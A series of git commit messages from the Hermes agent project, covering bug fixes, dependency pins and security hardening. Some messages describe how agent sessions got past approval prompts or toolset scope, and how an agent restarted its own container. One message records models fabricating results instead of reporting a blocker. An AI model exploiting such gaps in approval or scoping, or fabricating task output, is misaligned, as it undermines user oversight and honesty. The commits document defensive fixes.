The cherry-picked fix's onerror handler chmod'd only the failing path, but
unlinking a child requires write permission on its PARENT directory. On a true
Nix-store copy (r-xr-xr-x dirs + files) rmtree still failed. Now chmod the
parent dir as well before retrying.
Also rewrites the regression test: the original asserted the helper FAILS on a
read-only dir (documenting the limitation), which is the wrong success criterion.
Split into two tests — restore succeeds on a full read-only tree (real Nix case),
and manifest is preserved when removal genuinely cannot proceed (monkeypatched).
Two related bugs in tools/skills_sync.py affecting Nix-store and
immutable-package installs:
**#34972 — reset_bundled_skill corrupts manifest on rmtree failure:**
The function deleted the manifest entry BEFORE attempting rmtree. If
rmtree failed (read-only files from Nix store), the function returned
early — leaving the skill in a manifest-less limbo state where future
syncs silently skip it forever.
Fix: reorder steps — attempt rmtree FIRST, only delete manifest entry
after rmtree succeeds. If rmtree fails, nothing is changed.
**#34860 — stale .bak directories after sync:**
sync_skills() called shutil.rmtree(backup, ignore_errors=True) which
silently failed on read-only files, leaving persistent .bak dirs.
Fix: add _rmtree_writable() helper that makes files writable via an
onerror callback before retrying removal. Used in both sync_skills()
backup cleanup and reset_bundled_skill().
Fixes#34972Fixes#34860
_download_image() wrapped every download attempt in a blanket
`except Exception` and retried 3x with 2s/4s/8s backoff regardless of
cause. A 404/403 image URL would never resolve on retry, so it just
burned up to 6s of wall-clock + extra GETs before failing — inflating
latency for a deterministic failure (issue #32296, umbrella #35114).
Add _is_retryable_download_error(): 4xx client errors (except 429),
website-policy PermissionError, and too-large/SSRF ValueError now raise
on the first attempt. 429, 5xx, and unclassified network errors stay
retryable. Removed the now-unreachable fall-through branch since the
loop always returns on success or re-raises on the final/terminal attempt.
Starlette < 1.0.1 is affected by CVE-2026-48710 ("BadHost", CWE-444).
The HTTP Host header was not validated before being used to rebuild
`request.url`, so a malformed Host could make `request.url.path` desync
from the raw ASGI path the router actually dispatched. Middleware and
endpoints that apply path-based authorization off `request.url` (rather
than `scope["path"]`) can therefore be bypassed.
Hermes pulls Starlette transitively, never directly:
- [web] -> fastapi==0.133.1 (starlette>=0.40.0, no upper bound)
- [mcp] -> mcp==1.26.0 + sse-starlette (starlette>=0.27 / >=0.49.1)
- [computer-use] -> mcp==1.26.0
- [dev] -> mcp==1.26.0
A fresh resolve landed starlette 0.52.1 — vulnerable. With no upper
bound on the transitive specs, pip/uv could resolve any pre-1.0.1
release on a fresh install.
Fix: pin starlette==1.0.1 directly in every extra that exposes a
Starlette-backed server surface, regenerate uv.lock (only starlette
moves: 0.52.1 -> 1.0.1, hash-verified), and mirror the pin in the
lazy-install map (tools/lazy_deps.py `tool.dashboard`) so `hermes`
on-demand dashboard installs can't re-resolve a vulnerable version.
1.0.1 is the advisory's named fix floor and the oldest patched release
(more bake time than 1.1.0/1.2.0, which are days old); it satisfies
every carrier constraint and our requires-python>=3.11.
Scope note: this is a dependency-level fix complementing the
application-layer Host-header validator added in #34162
(`hermes_cli/web_server.py` `_is_accepted_host`). Defense in depth at
both the framework and app layers.
Guards: two invariant tests in tests/test_packaging_metadata.py assert
every server-surface extra pins starlette and that pyproject + uv.lock
both resolve >= the 1.0.1 CVE floor — a dropped pin or stale lock fails
in CI instead of shipping the bypass.
Closes#35067
asyncio.gather(return_exceptions=True) captures CancelledError as a
BaseException value. The previous isinstance(result, Exception) check
missed CancelledError, silently dropping it without logging.
Since Python 3.9, CancelledError is a BaseException subclass (not
Exception). This one-line change ensures all failure types from MCP
server connections are properly logged.
FixesNousResearch/hermes-agent#34443
* docs(code-execution): document HERMES_* env narrowing + passthrough workaround
The execute_code sandbox-child env scrub (108397726, #27303) deliberately
dropped the broad HERMES_ prefix passthrough, keeping only an operational
4-var allowlist (HERMES_HOME/PROFILE/CONFIG/ENV). A script that relied on a
non-secret HERMES_* var (HERMES_BASE_URL, HERMES_KANBAN_DB, HERMES_*_WEBHOOK,
or a plugin-defined one) now sees it unset in the child.
Document the behavior change and the two recovery routes (terminal.env_passthrough
in config.yaml, or required_environment_variables in skill frontmatter), plus
the debug log line that surfaces the drop for diagnosis.
* fix(stt,tts): restore mistralai — 2.4.8 is clean, ban lifted
PyPI quarantined mistralai on 2026-05-12 after the malicious 2.4.6
release (Mini Shai-Hulud worm). 2.4.6 has since been removed from the
registry and clean releases resumed (2.4.7 2026-05-25, 2.4.8 2026-05-28).
This rolls back the blanket runtime ban so Voxtral STT + TTS work again,
following the restoration checklist the repo left in pyproject.toml.
Verified against the real SDK: 2.4.8 keeps the import path the code uses
(from mistralai.client import Mistral) and the audio.transcriptions.complete
/ audio.speech.complete surfaces.
Changes:
- pyproject.toml: re-add mistral extra pinned to mistralai==2.4.8; left
OUT of [all] per the 2026-05-12 lazy-install policy (one quarantined
release must not break fresh installs). uv.lock regenerated.
- tools/lazy_deps.py: add stt.mistral / tts.mistral entries so the SDK
lazy-installs on first use (matches edge / elevenlabs).
- tools/transcription_tools.py: restore explicit-provider gate
(_HAS_MISTRAL + key) and auto-detect entry (local>groq>openai>mistral>xai);
_transcribe_mistral lazy-installs before import.
- tools/tts_tool.py: dispatcher routes back to _generate_mistral_tts;
_import_mistral_client lazy-installs the SDK.
- hermes_cli/tools_config.py, hermes_cli/web_server.py: un-hide Mistral
from the TTS provider picker and dashboard STT options.
- hermes_cli/security_advisories.py: KEEP the shai-hulud-2026-05 advisory
(module policy forbids removal) — it is scoped to 2.4.6 only, so it
still warns anyone with the poisoned build cached and never fires on
2.4.8. Summary note updated to reflect the un-quarantine.
- tests: revert the disabled-behavior assertions added by the ban commit
back to routing/positive expectations; add mistral to the
lazy-installable-extras-excluded-from-[all] contract.
Reported by @SkYNewZ (#34503).
Validation: 189 targeted STT/TTS/lazy_deps/metadata tests pass; E2E with
the real mistralai 2.4.8 SDK routes both STT and TTS to mistral.
A GitHub tap can ship a repo-root skills.sh.json (the published skills.sh
schema) declaring category groupings. The Skills Hub now reads it at index
time and uses each grouping title as the skill's category label, instead of
the tag-derived guess. Generic: any tap that ships the file gets real
categorization — NVIDIA's groupings (Inference AI, Decision Optimization,
GPU Development, etc.) flow through automatically.
- GitHubSource: _get_skillsh_groupings() fetches+caches the sidecar per repo;
_parse_skillsh_groupings() flattens it to {skill_name: title};
_list_skills_in_repo() stamps meta.extra['category']; _meta_to_dict now
serializes extra so the category survives the index cache round-trip.
- extract-skills.py: prefers extra['category'] over the tag heuristic and
exempts sidecar categories from the small-category to Other collapse.
- Docs + 12 tests.
NVIDIA/skills is now a default trusted tap in the Hermes Skills Hub —
discoverable, browsable, searchable, and auto-updating through the same
pipeline that already serves OpenAI, Anthropic, and HuggingFace skills.
Rebased onto current main.
* docs(code-execution): document HERMES_* env narrowing + passthrough workaround
The execute_code sandbox-child env scrub (108397726, #27303) deliberately
dropped the broad HERMES_ prefix passthrough, keeping only an operational
4-var allowlist (HERMES_HOME/PROFILE/CONFIG/ENV). A script that relied on a
non-secret HERMES_* var (HERMES_BASE_URL, HERMES_KANBAN_DB, HERMES_*_WEBHOOK,
or a plugin-defined one) now sees it unset in the child.
Document the behavior change and the two recovery routes (terminal.env_passthrough
in config.yaml, or required_environment_variables in skill frontmatter), plus
the debug log line that surfaces the drop for diagnosis.
* fix: drain thread no longer crashes on fd-less stdout streams
The _wait_for_process drain thread called proc.stdout.fileno()
unconditionally. ProcessHandle implementations whose stdout is not
backed by a real OS fd (iterator-style in-memory streams, mock procs)
raised 'list_iterator' object has no attribute 'fileno' (or
'fileno() returned a non-integer' from select.select), killing the
daemon thread and silently losing all process output.
Resolve the fd defensively at the top of _drain; when stdout has no
usable integer fileno, fall back to draining it as an iterable (the
legacy 'for line in proc.stdout' contract). The real subprocess /
os.pipe-backed select() fast path is unchanged.
Vulture + per-symbol verification (whole-repo grep incl. tests, string
literals, getattr, decorator/registry/argparse dispatch) confirmed each of
these has zero callers anywhere — not reachable via any dynamic-dispatch path,
not referenced by tests, not re-exported.
Removed:
- acp_adapter/tools.py: _build_patch_mode_content
- agent/anthropic_adapter.py: read_claude_managed_key (diagnostics-only, never called)
- agent/bedrock_adapter.py: get_bedrock_model_ids
- agent/browser_registry.py: get_active_browser_provider
- agent/chat_completion_helpers.py: _take_request_client (x2 nested closures, never invoked)
- gateway/platforms/weixin.py: _rewrite_headers_for_weixin, _rewrite_table_block_for_weixin
- hermes_cli/banner.py: _skin_branding
- hermes_cli/debug.py: _delete_hint
- hermes_cli/gateway.py: _setup_email, _setup_sms, _setup_yuanbao
(platform keys absent from the _builtin_setup_fn dispatch dict; handled by
the _setup_standard_platform fallback)
- hermes_cli/kanban_db.py: set_max_runtime, active_run
- hermes_cli/kanban_diagnostics.py: severity_of_highest, _latest_clean_event_ts
- hermes_cli/main.py: _build_provider_choices, cmd_portal
(portal subcommand is wired via portal_cli.add_parser, not this wrapper)
- hermes_cli/model_switch.py: CustomAutoResult (orphaned by the switch_model() extraction)
- hermes_cli/models.py: format_model_pricing_table, fetch_nous_account_tier
- hermes_cli/portal_cli.py: _nous_portal_base_url
- hermes_cli/proxy/server.py: handle_models_fallback (defined but never registered on the router)
- tools/computer_use/cua_backend.py: _parse_element, _is_arm_mac
- tools/file_operations.py: _get_safe_write_root (prod uses the imported
agent.file_safety.get_safe_write_root directly)
- tools/skills_tool.py: _load_category_description
Also dropped two imports left unused by the removals:
- tools/file_operations.py: get_safe_write_root alias
- tools/computer_use/cua_backend.py: import platform
Pure deletion: -551 LOC. No behavior change. Test files covering the edited
modules pass (640/640); the broader suite's pre-existing/env-dependent
failures reproduce unchanged on origin/main.
Web search/extract dispatch read agent.web_search_registry before plugin
discovery had run, so in any process that hadn't imported model_tools.py
(subprocess agent runs, delegate children, standalone scripts) the registry
was empty: get_provider('firecrawl') returned None and the dispatcher emitted
the misleading 'No web extract provider configured' error even with
web.extract_backend set and FIRECRAWL_API_KEY exported.
Adds an idempotent _ensure_web_plugins_loaded() helper (mirrors
tools.browser_tool._ensure_browser_plugins_loaded) and calls it at the top of
both the web_search_tool and web_extract_tool dispatch sites before the
registry lookup.
Fixes#27580.
Co-authored-by: briandevans <252620095+briandevans@users.noreply.github.com>
The fast-path decision (native routing + provider allowlist OR
supports_vision override) lived inline in vision_analyze and was copied
into browser_vision. Extract it to _should_use_native_vision_fast_path()
so both tools share one source of truth.
- vision_tools: gate logic now one helper; vision_analyze calls it in 3 lines
- browser_tool: thin envelope decoration over the shared helper, not a copy
- browser_vision typed Union[str, Dict] to match its real return shape
- tests slimmed to target the override path + text-mode-wins invariant
Follow-up mitigation for the #27303 env-scrub tightening. Dropping the
broad HERMES_ prefix in favor of a 4-var operational allowlist is correct
hardening, but a sandbox script that imports a repo module reading a
non-allowlisted HERMES_* var at import time would otherwise see it
silently unset. _scrub_child_env now emits a one-shot debug log naming the
dropped non-secret HERMES_* vars and pointing at the env_passthrough
opt-in escape hatch. Secret-shaped vars are never named in the log.
Tests: dropped vars are logged + env_passthrough named; no log when
nothing is dropped; secret vars excluded from the diagnostic.
Wrap both execute_code RPC threads (local UDS + remote file-RPC) with propagate_context_to_thread so gateway sessions no longer fall into check_dangerous_command's non-interactive auto-approve branch and the CLI approval prompt stays reachable. Add check_execute_code_guard: one-shot fail-closed approval of the whole script in gateway/ask/cron-deny before the child spawns (skips isolated backends; command-string built only past the early returns). Drop the broad HERMES_ env passthrough for an explicit operational allowlist plus DSN/WEBHOOK secret substrings, and update the POSIX-equivalence oracle.
Refs #4146, #27303, #30882, #33057
Worker threads that dispatch Hermes tools started with an empty contextvars.Context and no thread-local approval/sudo callbacks. Add tools/thread_context.propagate_context_to_thread factoring that capture/install/clear lifecycle (mirrors the GHSA-qg5c-hvr5-hjgr pattern), and refactor agent/tool_executor onto it so the security-critical logic lives in one audited place. Update the contextvar-propagation source guard for the new call shape.
Refs #33057
Tool Search read its catalog from the global registry (get_tool_definitions
with no toolset scope = 'start with everything'), so a restricted-toolset
session — subagent, kanban worker, curated gateway session — could:
1. tool_search the entire process registry, not just its granted tools, and
2. tool_call any registered plugin/MCP tool it was never given, because
registry.dispatch() has no enabled_tools gate for non-execute_code tools.
A scoped session (enabled_toolsets=['mcp-github']) reported total_available=26
and successfully invoked an out-of-scope plugin tool via tool_call.
Fix:
- handle_function_call gains enabled_toolsets/disabled_toolsets; the bridge
dispatch scopes get_tool_definitions to them (also stops polluting the
process-global _last_resolved_tool_names with out-of-scope tools, which
leaked into execute_code's sandbox-tool fallback).
- A defense-in-depth gate rejects any tool_call'd name not in the scoped
deferrable catalog.
- tool_executor's unwrap (both concurrent + sequential paths) enforces the
same scope before dispatch, since it unwraps tool_call -> underlying name
and bypasses the bridge branch. New _tool_search_scoped_names() helper,
cached per-agent on registry generation + toolset scope.
- New scoped_deferrable_names() helper in tool_search.py shared by both sites.
Tests: 4 new regression tests in TestRegression_ToolsetScoping (scoped
catalog, out-of-scope tool_call rejection, no global pollution, helper).
Adds Tool Search, a structured-tools progressive-disclosure layer that
replaces MCP and non-core plugin tools in the model-visible tools array
with three bridge tools (tool_search / tool_describe / tool_call) when
the deferrable surface would consume more than a configurable percentage
of the active model's context window. Core Hermes tools are never deferred.
Default mode is 'auto' with a 10% context threshold, so small toolsets
pay no overhead. Set tools.tool_search.enabled to 'on' to force or 'off'
to disable.
Design carefully reflects the OpenClaw production failure modes
documented in the openclaw-tool-search-report:
- Core tools never defer (toolsets._HERMES_CORE_TOOLS). Addresses the
'tools silently missing from isolated cron turns' regression class
(openclaw#84141) by construction: there is no code path that can
drop a core tool.
- Catalog is stateless across turns — rebuilt from the live tool-defs
list on every assembly. No session-keyed Map that can drift out of
sync with the registry.
- tool_call unwraps the bridge call before any hook fires, so plugin
pre/post hooks, guardrails, approval flows, and the activity feed
all see the underlying tool name, not the bridge (addresses
openclaw#85588 and the verbose-mode complaint on openclaw#79823).
- The unwrap happens in both the parallel and sequential paths of
agent/tool_executor.py and also in handle_function_call, so direct
callers (sandboxed code, eval harnesses) are covered too.
- Bridge tools cannot invoke each other (recursion guard) and cannot
invoke core tools (those must be called directly).
- Tools mode only — no JS-sandbox code-mode. Keeps the surface small.
- Token estimation via cheap char/4 heuristic; precision isn't needed
for the threshold decision.
Files:
- tools/tool_search.py — new module (BM25 retrieval, classification,
threshold gate, bridge dispatch, unwrap helper).
- tests/tools/test_tool_search.py — 35 tests including the OpenClaw
#84141 regression guard.
- model_tools.py — wires assembly into _compute_tool_definitions as the
final step, adds skip_tool_search_assembly kwarg so the bridge can
see the real catalog, dispatches the three bridge tools.
- agent/tool_executor.py — unwraps tool_call in both parallel and
sequential parsing loops so checkpointing, guardrails, plugin hooks,
and tool-progress callbacks all observe the underlying tool name.
- hermes_cli/config.py — DEFAULT_CONFIG['tools']['tool_search'] block.
- website/docs/user-guide/features/tool-search.md — user docs.
Validation:
- 35/35 new tests pass.
- Existing tool/registry/model_tools/config/coercion/executor tests
(82 + 74 + small adjacents) green.
- Live E2E: 20 fake MCP tools registered, get_tool_definitions returns
3 bridges, tool_search returns top 3 hits, tool_describe returns
full schema, tool_call dispatches to the real underlying handler
and the underlying result is what the model sees.
- Reserved-name recursion guard verified live.
- Core-tool refusal via tool_call verified live.
Scopes the AWS_SDK subprocess strip down from the full AWS credential chain
to just AWS_BEARER_TOKEN_BEDROCK — the only Hermes-managed *inference* secret
(analogous to OPENAI_API_KEY). The general AWS credential chain
(AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / AWS_SESSION_TOKEN / AWS_PROFILE
/ config + role pointers) is intentionally left inheritable.
Why: per SECURITY.md §3.2 the local terminal is the user's trusted operator
shell. Hard-blocklisting the general chain would (a) regress *every* user who
runs aws/terraform/cdk/boto3 in the agent terminal — not just Bedrock users,
since PROVIDER_REGISTRY is iterated unconditionally at import — and (b) be
unrecoverable, because env_passthrough.py refuses to re-allow anything in
_HERMES_PROVIDER_ENV_BLOCKLIST (GHSA-rhgp-j443-p4rf). The narrow strip closes
the reported leak (opencode enumerating the Bedrock catalog off the leaked
bearer token) with no capability loss.
Keeps zapabob's self-healing auth_type=="aws_sdk" mechanism so any future
SDK-cred provider is covered automatically.
Tests: bearer token stripped + general chain preserved (no-regression guard),
on both the runtime strip path and the blocklist-membership path.
Co-authored-by: zapabob <1920071390@campus.ouj.ac.jp>
The dispatcher watchdog (release_stale_claims) reads tasks.last_heartbeat_at
to decide whether to reclaim a running task. The agent maintains its own
in-process `_last_activity_ts` for every chunk/tool result, but those
liveness ticks never reach the board unless the model explicitly calls
the `kanban_heartbeat` tool — so a worker actively executing a long run
without tool-level heartbeats can be reclaimed mid-flight as 'stale',
returning the task to ready and orphaning the in-flight worker's progress.
Fix: in `_touch_activity` (the canonical 'we just did work' hook in
run_agent.py), call a new `heartbeat_current_worker_from_env` helper
in `tools/kanban_tools.py` that:
- No-ops outside dispatcher-spawned worker context (no HERMES_KANBAN_TASK).
- Rate-limited to one DB write per 60s (runtime activity ticks too often
to faithfully mirror; we just need the watchdog to see liveness).
- Best-effort: never raises. heartbeat_claim + heartbeat_worker calls are
individually try/except'd; any DB error logs at debug and returns.
- Uses worker env identity: HERMES_KANBAN_TASK + HERMES_KANBAN_RUN_ID +
HERMES_KANBAN_CLAIM_LOCK (all pinned by the dispatcher at spawn time).
- No durable note on auto-heartbeats — that's reserved for the explicit
`kanban_heartbeat` tool which carries a model-supplied note.
The explicit `kanban_heartbeat` tool stays available unchanged for
workers that want to attach a note or pre-emptively extend a claim
across a known-long single tool call.
Co-authored-by: faisfamilytravel <223516181+faisfamilytravel@users.noreply.github.com>
The mechanical ruff prune in the previous commit removed several names that
`appear` unused inside their defining module but are external test/runtime
anchors:
run_agent
OpenAI, _SafeWriter
get_tool_definitions, handle_function_call, check_toolset_requirements
estimate_request_tokens_rough
DEFAULT_AGENT_IDENTITY, build_context_files_prompt,
build_environment_hints, build_nous_subscription_prompt
_is_destructive_command, _extract_parallel_scope_path, _paths_overlap,
_append_subdir_hint_to_multimodal, _trajectory_normalize_msg
tools/web_tools
Firecrawl, _get_firecrawl_client
These get accessed via four channels that are invisible to ruff's
in-module usage analysis:
1. `mock.patch('module.name', ...)` in tests — resolves the attribute
lazily, so `pytest --collect-only` passes even when the name is
gone, but every test using the patch fails at runtime with
AttributeError.
2. `from run_agent import X` in production siblings (agent/transports
/codex.py, etc.).
3. The `_ra().X` indirection pattern in agent/system_prompt.py et al.
— explicitly documented ("Many tests patch('run_agent.load_soul_md')")
to preserve the patch contract.
4. `from tools.web_tools import _get_firecrawl_client` in tests.
Each re-added import carries an explicit `# noqa: F401` with a comment
naming the channel, so future cleanup passes won't strip them again.
Remove unused imports (F401) and duplicate/shadowed import
redefinitions (F811) across the codebase using ruff's safe
autofixes. No behavioral changes -- imports only.
- ~1400 safe autofixes applied across 644 files (net -1072 lines)
- __init__.py re-exports preserved (excluded from F401 removal so
public re-export surfaces stay intact)
- Re-exports that are imported or monkeypatched by tests but look
unused in their defining module are kept with explicit # noqa:
F401 (gateway/run.py load_dotenv; run_agent re-exports from
agent.message_sanitization, agent.context_compressor,
agent.retry_utils, agent.prompt_builder, agent.process_bootstrap,
agent.codex_responses_adapter)
- Unsafe F841 (unused-variable) fixes deliberately skipped -- those
can change behavior when the RHS has side effects
- ruff lints remain disabled in pyproject.toml (only PLW1514 is
selected); this is a one-time cleanup, not a config change
Verification:
- python -m compileall: clean
- pytest --collect-only: all 27161 tests collect (zero import errors)
- core entry points import clean (run_agent, model_tools, cli,
toolsets, hermes_state, batch_runner, gateway)
- static scan: every name any test imports directly from an edited
module still resolves
* fix(codex): surface error code in Responses 'failed' status errors
When a Codex Responses turn ends with status=failed, the response carries
the failure details under `response.error` as
`{code, message, param, ...}`. The previous extractor pulled only
`message`, so users seeing a rate-limit failure got a bare "Slow down"
string indistinguishable from a generic stream truncation; an
internal_error with empty message degraded to a dict dump
("{'code': 'internal_error', 'message': ''}").
Extract a `_format_responses_error()` helper that:
- prefixes `code` when both code and message are present
(e.g. 'rate_limit_exceeded: Slow down')
- falls back to the bare `code` when message is empty
- accepts both dict and attribute-style payloads (SDK and JSON-RPC paths)
- preserves the prior status-only fallback when no error payload exists
Apply the same helper at the sibling site in
`codex_app_server_session.run_turn()` so codex-CLI subprocess turn
failures get the same treatment.
Tests:
- 8 new unit tests for `_format_responses_error` covering both shapes,
empty/missing fields, non-string fields, and the status-only fallback.
- 2 regression tests on `_normalize_codex_response` for failed status
with and without a code, asserting the exact RuntimeError message.
- All 3603 tests in tests/agent/ pass.
Adapted from anomalyco/opencode#28757.
* feat(prompt): universal task-completion guidance + local Python toolchain probe
Two cross-model failure modes get a single-line answer in the cached
system prompt. Both gated by config (default on), both add zero overhead
when not needed, both verified via real AIAgent prompt builds.
## What changed
`TASK_COMPLETION_GUIDANCE` — short prompt block applied to ALL models.
Targets two failure modes observed on a real Sarasota real-estate build
task: (1) Opus stopped after writing an 85-byte stub and gave a prose
response with finish_reason=stop on call #3 of 90; (2) DeepSeek pushed
through a PEP-668 wall, then returned fabricated listings instead of
admitting the blocker. Both behaviors are model-family-agnostic, so the
guidance lives outside the existing tool_use_enforcement gate (~192
tokens, paid once per session via prefix cache).
`tools/env_probe.py` — local Python toolchain probe. Detects
python3/pip/uv/PEP-668 state and emits ONE short line in the system
prompt when something is non-default. Emits NOTHING when the env is
clean (zero token cost for normal users). Skipped entirely for remote
terminal backends (docker/modal/ssh) — they have their own probe.
Example output on a broken environment (the actual case):
Python toolchain: python3=3.11.15 (no pip module),
python=missing (use python3), pip→python3.12 (mismatch),
PEP 668=yes (use venv or uv).
## Config
Both flags live under `agent.` in config.yaml, default True:
agent:
task_completion_guidance: true # universal "finish the job" block
environment_probe: true # local Python toolchain hints
Neither addition required a `_config_version` bump — deep-merge fills
defaults in for existing user configs.
## Validation
| Test surface | Result |
|---|---|
| tests/tools/test_env_probe.py | 10/10 pass (probe unit) |
| tests/run_agent/test_run_agent.py — new classes | 8/8 pass (integration) |
| TestToolUseEnforcementConfig | 17/17 pass (no regression) |
| TestBuildSystemPrompt | 9/9 pass (no regression) |
| TestInvalidateSystemPrompt | 2/2 pass (no regression) |
| tests/agent/test_prompt_builder.py | 124/124 pass (no regression) |
| tests/hermes_cli/ | 5662/5662 pass (config defaults) |
| E2E AIAgent build (broken env) | Both blocks present, 2,178 chars |
| E2E AIAgent build (clean env) | 771-char net overhead, env probe silent |
Salvages #24490 by @liuhao1024 against current main.
The Docker daemon will silently auto-create a directory at the host
path of any `-v <host>:<container>` bind mount when the host path
doesn't exist. In Docker-in-Docker setups (where the outer host's
real credential file isn't visible inside the agent's parent
container), this leaves a directory at the credential mount source —
and the inner `docker run` then refuses to mount a directory over a
file destination with exit 125.
Add defensive shape guards to all three mount loops in
DockerEnvironment.__init__:
* credentials (expected: file) — skip + warn on directory or missing
* skills (expected: dir) — skip + warn when not a directory
* cache (expected: dir) — skip + warn when not a directory
Failed mounts surface as WARN logs rather than crashing the container
start. Existing well-formed sources mount unchanged.
The original PR's branch was on a pre-container-reuse-rework base
(May 12) and conflicted with the post-May-28 driver work (label
tagging, container reuse, orphan reaper). Reconstructed the same
intent on current main; the three guard blocks slot cleanly into
`tools/environments/docker.py` around the existing mount loops.
Three new tests pinned in `tests/tools/test_docker_environment.py`:
directory-source skip, missing-source skip, valid-file mounts. Test-
first regression verification: reverted just the production code to
`origin/main` and confirmed the new tests fail with
`'deleted_token.json' is contained here: /root/.hermes/...` — the
fixed code makes them pass. Full file passes (54/54).
Closes#24490
Co-authored-by: liuhao1024 <11816344+liuhao1024@users.noreply.github.com>
When HOME=/root (Docker containers) and the process runs as unprivileged
user (hermes, uid 10000), Path.home() / '.modal.toml' raises PermissionError
because /root/ is inaccessible. This crashes the dashboard /api/skills endpoint.
Catch PermissionError/OSError and treat as 'no config file'. Env vars still
take priority (tested).
Fixes#33525
NVIDIA's verified skills catalog (https://github.com/NVIDIA/skills) ships
NVIDIA-signed skills for CUDA-X, AIQ, cuOpt, cuPyNumeric, DeepStream, NeMo,
NemoClaw and the Skill Card Generator — each bundle carrying a detached
`skill.oms.sig` signature, a governance `skill-card.md`, and `evals/`. The
sync pipeline drops any skill missing those artifacts before publishing.
Changes:
- tools/skills_hub.py: add NVIDIA/skills to GitHubSource.DEFAULT_TAPS so
it lights up in `hermes skills browse`, `hermes skills search <q>`, the
twice-daily skills-index build, and the docs-site Skills Hub page
(https://hermes-agent.nousresearch.com/docs/skills) automatically.
- tools/skills_guard.py: add NVIDIA/skills to TRUSTED_REPOS so installs
resolve to trust_level="trusted" (looser install policy than community).
- website/scripts/extract-skills.py: map the `github` source id to a
friendly "NVIDIA" pill label for the docs hub page.
- website/src/pages/skills/index.tsx: register the NVIDIA pill (green
#76b900) and slot it into SOURCE_ORDER after HuggingFace.
- website/docs/user-guide/features/skills.md (+ zh-Hans i18n): document
the new default tap and the expanded trusted-repos list.
- tests/tools/test_skills_guard.py: assert NVIDIA/skills resolves to
"trusted" (including the skills-sh-wrapped form).
- tests/tools/test_skills_hub.py: invariant — every TRUSTED_REPOS entry
must be reachable via GitHubSource.DEFAULT_TAPS (prevents future
trusted repos from being declared but never browseable).
Validation:
- Live GitHub fetch: `src.fetch('NVIDIA/skills/skills/aiq-deploy')` pulled
17 files including SKILL.md (13 KB), skill-card.md, skill.oms.sig, and
the full references/ + evals/ tree. trust_level="trusted".
- Live inspect resolved name, description, and trust correctly.
- All 193 existing skills_guard + skills_hub tests still pass.
When docker.sock is mounted (common Docker Compose pattern), the agent
can restart/stop/kill containers without user approval. hermes gateway
restart is already protected, but docker restart, docker stop,
docker kill, and their docker compose equivalents were not.
This caused repeated self-termination: the agent ran docker restart
hermes, killed its own container, Docker restarted it (restart policy),
and the agent resumed the same session — creating a restart loop.
Added patterns mirror the existing gateway lifecycle protection:
- docker compose restart/stop/kill/down
- docker restart/stop/kill
Co-authored-by: Sarbai <sarbai@users.noreply.github.com>
Commit 4 made cleanup_vm() default to force_remove=True, which was wrong:
cleanup_vm() is called from AIAgent.close() (TUI session close at
tui_gateway/server.py:2991, gateway session teardown at gateway/run.py:3569)
and from per-turn cleanup (agent/chat_completion_helpers.py:1517). All
three are session-lifecycle events that should honor persist mode, not
explicit user-initiated teardown.
Ben reported the symptom: container shared between multiple TUI sessions
(good) but killed as soon as any session closed (bad). With force_remove=True
as the default, every `session.close` JSON-RPC tore down the container.
The fix is to flip cleanup_vm()'s force_remove default back to False.
The kwarg still exists for future explicit-teardown paths (`/reset`-style
flows, "destroy my sandbox" commands) that haven't been wired up yet.
Two new unit tests pin the behavior:
* `test_cleanup_vm_default_honors_persist_mode` — asserts
`cleanup_vm(task_id)` does neither docker stop nor docker rm on a
persist-mode container (the regression Ben caught).
* `test_cleanup_vm_force_remove_tears_down_persist_container` —
asserts the kwarg still flows through the runtime-signature-inspection
plumbing to the backend's cleanup().
E2E verified against real Docker (in addition to all 17 existing checks):
✓ Default cleanup_vm() leaves persist-mode container running
✓ cleanup_vm(force_remove=True) removed the container
Refs #20561
The first iteration of this PR did docker stop on every cleanup in
persist mode (only skipping docker rm). Ben caught this as
contradicting the documented "ONE long-lived container shared across
sessions" semantics: stopping the container on every Hermes /quit kills
any background processes inside (npm watchers, pytest watchers,
long-running scripts) — exactly the case persist mode is supposed to
protect.
This commit splits the cleanup paths cleanly:
* **Persist mode (default)** — cleanup() is a NO-OP for the
container. Container stays running, processes survive, next Hermes
process attaches via the existing label probe in ~ms instead of
waiting for docker start. Resource reclamation happens via the
orphan reaper at next startup (2 × lifetime_seconds threshold), which
covers the SIGKILL / OOM / abandoned-laptop cases.
* **Opt-out mode (persist_across_processes=False)** — unchanged:
docker stop + docker rm -f on cleanup as before.
* **Explicit teardown** — new cleanup(force_remove=True) kwarg
overrides persist mode and tears the container down unconditionally.
cleanup_vm(task_id) now defaults to force_remove=True since
it's the user-driven reset path (called from AIAgent.close(),
/reset-style flows, and the idle reaper's per-turn cleanup).
The idle reaper in _cleanup_inactive_envs calls env.cleanup()
directly with no kwargs, so idle persist-mode envs are no-op'd — the
container survives the in-process pop and the next tool call re-probes
via labels. No state leak: _container_id is still cleared on the
in-process handle.
E2E verified against real Docker:
✓ Container is still running after cleanup()
✓ Background process (sleep loop) survived cleanup()
✓ Filesystem state preserved across cleanup()
✓ In-process container_id cleared (next __init__ will re-probe)
✓ Background process visible from reused env (no docker start happened)
✓ force_remove=True removed the container even in persist mode
✓ cleanup_vm() removed the container (defaults to force_remove=True)
Test changes:
* Replaces `test_cleanup_with_persist_only_stops_no_rm` with
`test_cleanup_with_persist_is_noop_for_container` — asserts neither
stop nor rm runs in persist mode, and the in-process handle is
cleared so re-probe works.
* Adds `test_cleanup_force_remove_stops_and_rms_even_in_persist_mode`
— covers the new kwarg.
* Updates `test_cleanup_uses_subprocess_run_not_detached_shell` and
`test_wait_for_cleanup_after_cleanup_returns_true` to pass
`force_remove=True` so they actually exercise the docker code path
(default no-op would trivially pass).
cleanup_vm() forwards `force_remove` only to backends whose cleanup()
accepts the kwarg (currently just DockerEnvironment) via runtime
signature inspection — Modal/Daytona/SSH `cleanup()` signatures are
unchanged.
Refs #20561
The cleanup-fix in the previous commit handles the graceful-exit leak: a
Hermes process that runs ``atexit`` will now actually wait on the docker
stop/rm worker thread, so containers either survive (persist mode) or are
fully removed (opt-out mode) by the time the interpreter exits.
But ``atexit`` doesn't fire on SIGKILL, OOM-kill, or terminal-window
close. Containers from those exits stay parked with no surviving Python
process to reuse or remove them, so they accumulate until the operator
intervenes with ``docker rm -f``. The cleanup-fix doesn't help this class
— there's no live cleanup() to fix.
This commit adds the safety net: a startup orphan reaper that runs once
per Hermes process and removes long-Exited hermes-labeled containers
that the prior commit couldn't reach.
Implementation:
* New ``reap_orphan_containers()`` in ``tools/environments/docker.py``.
Filters: ``label=hermes-agent=1`` + ``status=exited`` + (optional)
``label=hermes-profile=<current>``. Per-container ``docker inspect``
